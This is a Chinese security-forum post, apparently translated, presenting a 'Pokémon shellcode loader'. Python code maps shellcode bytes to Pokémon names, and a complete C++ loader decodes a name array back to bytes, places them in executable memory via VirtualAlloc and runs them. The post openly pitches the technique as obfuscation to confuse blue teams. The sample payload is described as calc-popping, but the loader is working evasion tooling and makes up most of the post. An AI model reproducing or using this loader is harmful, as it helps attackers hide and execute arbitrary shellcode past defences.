飘云阁安全网

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 649|回复: 4

[病毒分析] Pokémon Shellcode 加载器

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-7-31 19:34:02 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-7-31 19:36 编辑

    Pokémon Shellcode 加载器
    厌倦了整天看着十六进制和弹出'\x41'吗?宁愿去看Lugia/Charmander?我为你提供了解决方案。@Checkymander发来了一条推特,关于从Pokémon的名字中创建一个Shellcode 加载器。很有趣的项目,可以混淆蓝队,但没有POC! (至少在我最后一次检查时)

    注#1 更新的代码将在我的GitHub上:https://github.com/Techryptic/Pokemon-Shellcode-Loader
    让我们加载一些指令
    有多种方法可以做到这一点。如果我们看一下shellcode,它是一系列从0x00-0xFF的十六进制,或以0-256的十进制形式。我们可以选择的Pokemon(口袋妖怪)刚好超过256个。
    767964_F9C4UPRZ4YD7S6Q.jpg
    从上面的Pokemon图来看,我们可以把编号为001的BULBASAUR翻译成0x01(去掉第一个0)。同样地,CHARMANDER将用0x04表示,以此类推。lucky空字节0x00可以对准Pokemon#257,BLAZIKEN!
    将shellcode转换为Pokemon-Shellcode很简单。将Pokemon-Shellcode转换为Assembly怎么样?我们想在.ASM内有一个数组吗?C代码?从外部把它下载下来?
    根据这种思路往下走!
    排列或不排列
    我们需要数据。首先,我发现两个区域同时包含Pokemon的编号和名称:
    还有一个只有Pokemon的名字。这可能更有用,因为我们可以在不携带长字符串的情况下获得特定Pokemon的数组索引位置。
    基准是什么?我正在使用一个普通的POP CALC shellcode,并将其放入C语言代码中。
    1. import json

    2. shellcode = (b"\x41\x42\x20\x43")

    3. #Do not edit below
    4. PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
    5. Poke_Shellcode = []
    6. for x in shellcode:
    7.         Poke_Shellcode.append(PokemonList[x])
    8. print(json.dumps(Poke_Shellcode))
    复制代码

    767964_UNUBBKVMZK8YJS5.jpg
    不合格。它没有做任何恶意的事情,但仍然……不合格。
    Shellcode -> Pokemon_Shellcode
    一个简单的脚本将一个shellcode字节对象转换为Pokémon Shellcode。
    1. import json

    2. shellcode = (b"\x41\x42\x20\x43")

    3. #Do not edit below
    4. PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
    5. Poke_Shellcode = []
    6. for x in shellcode:
    7.         Poke_Shellcode.append(PokemonList[x])
    8. print(json.dumps(Poke_Shellcode))
    复制代码

    以上面的shellcode为例:
    1. \x00\x31\xc0\x50\x68\x2f\x2F
    复制代码

    转换为:
    767964_HGC67WBBCKBZ7VX.jpg
    有趣的是:我想让Pokemon的名字与它们的编号保持一致(BULBASAUR=#1,或0x01),因此需要用一些东西填充0x00/空字节。有什么比MISSINGNO更合适的呢?
    767964_VM7WPFH9A**RXN.jpg
    另一个问题是,Pokemon Farfetch'd有一个撇号,如下图。简单的解决方法就是把它去掉,然后叫它。Farfetchd
    767964_WBGJY6PV9W3E8BY.jpg
    最后,还有两种Pokemon ,一旦你去掉符号,它们的名字就会相同,这两种Pokemon 的修复方法是加一个F(代表女性),另一个加一个M(代表男性)。
    767964_A6WW2U2X4V6QG9N.jpg

    767964_DMVK5J83Y8SNUWS.jpg




    C++
    1. #include <iOStream>
    2. #include <string>
    3. #include <Bits.h>
    4. using namespace std;

    5. // Created by: Techryptic
    6. // @Tech

    7. string indexNumberToHexa(int number);
    8. void reverse_String(string& str, int last_index, int starting_index);
    9. void printAscii(unsigned char* index_to_hexa_array, int counter_s);

    10. int main()
    11. {
    12.     string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };

    13.     /// Do not edit below
    14.     string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };

    15.     int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
    16.     int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
    17.     //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
    18.     //assumtion that all poke_shellcode elements exist in pokemon
    19.     int* index = new int[size2];
    20.     int index_counter = 0;
    21.     for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one
    22.         for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one
    23.             if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal
    24.                 index[index_counter] = j;                       //saving index
    25.                 index_counter++;
    26.                 break;                                          //stoping inner loop
    27.             }
    28.         }
    29.     }
    30.     //for storing hex values of indexes
    31.     unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
    32.     int counter_s = 0;
    33.     for (int i = 0; i < index_counter; i++) {
    34.         string value = "";
    35.         value += "\\x";
    36.         if (index[i] < 10) {
    37.             value += "0";
    38.         }
    39.         value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array
    40.         for (int k = 0; k < (int)value.length(); k++) {
    41.             index_to_hexa_array[counter_s] = value[k];
    42.             counter_s++;
    43.         }
    44.     }
    45.     std::string payload;
    46.     index_to_hexa_array[counter_s] = '\0';
    47.     printAscii(index_to_hexa_array, counter_s);

    48.     delete[]index; //freeing memory
    49.     delete[]index_to_hexa_array;
    50.     index = nullptr;  //reseting the index pointer
    51.     index_to_hexa_array = nullptr;
    52.     return 0;
    53. }

    54. void reverse_String(string& str, int last_index, int starting_index) {
    55.     if (last_index <= starting_index) { return; }
    56.     swap(str[starting_index], str[last_index]);
    57.     reverse_String(str, last_index - 1, starting_index + 1);
    58. }
    59. string indexNumberToHexa(int number) {
    60.     string hexavalue = "";
    61.     while (number != 0) {
    62.         int remainder = number % 16;
    63.         if (remainder < 10) {   //number 0-9
    64.             hexavalue += remainder + 48;
    65.         }
    66.         else {//alphabet A-F
    67.             hexavalue += remainder + 55; //converting number to alphabet
    68.         }
    69.         number = number / 16;
    70.     }
    71.     reverse_String(hexavalue, hexavalue.length() - 1, 0);
    72.     return (hexavalue != "" ? hexavalue : "0");
    73. }
    74. void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
    75.     string sc;
    76.     for (int i = 2; i < counter_s; i++) {
    77.         if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
    78.             string vt; // hex ex: 01
    79.             vt.push_back(index_to_hexa_array[i]);
    80.             vt.push_back(index_to_hexa_array[i + 1]);
    81.             //cout << (char)stoul(vt, nullptr, 16);
    82.             unsigned char n = (char)stoul(vt, nullptr, 16);
    83.             sc += n;
    84.             i++;
    85.         }
    86.     }
    87.     sc += '\0'; // adding nullbyte to string to mimic array
    88.     //std::cout << "The size is " << sc.size() << " bytes.\n";
    89.     DWORD oldprotect = 0;
    90.     void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    91.     memcpy(exec, sc.c_str(), sc.size());
    92.     ((void(*)())exec)();
    93. }
    复制代码


    总结
    767964_RNCBVNPYHDKRPUM.jpg
    这,就是结论。同样的代码,但使用Pokemon产生的结果比我想象的要好得多。
    最后,这仍然是一场红与蓝之间的对抗
    767964_HBQSJYWEVNA2DE7.gif



    该用户从未签到

    发表于 2022-7-31 21:06:00 | 显示全部楼层
    很喜欢宝可梦 加油
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    6 天前
  • 签到天数: 167 天

    [LV.7]常住居民III

    发表于 2022-8-2 11:31:45 | 显示全部楼层
    看着不错啊,来学习,多谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2022-8-4 07:05:17 | 显示全部楼层
    看着不错啊,来学习,多谢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    7 天前
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2022-8-4 15:26:49 | 显示全部楼层
    自己又改了改,效果和思路都是可以的
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    小黑屋|手机版|Archiver|粤公网安备 44010602010026号|飘云阁安全网 ( 粤ICP备15107817号-2 )

    Powered by Discuz! Copyright © 2001-2022, Tencent Cloud.

    快速回复 返回顶部 返回列表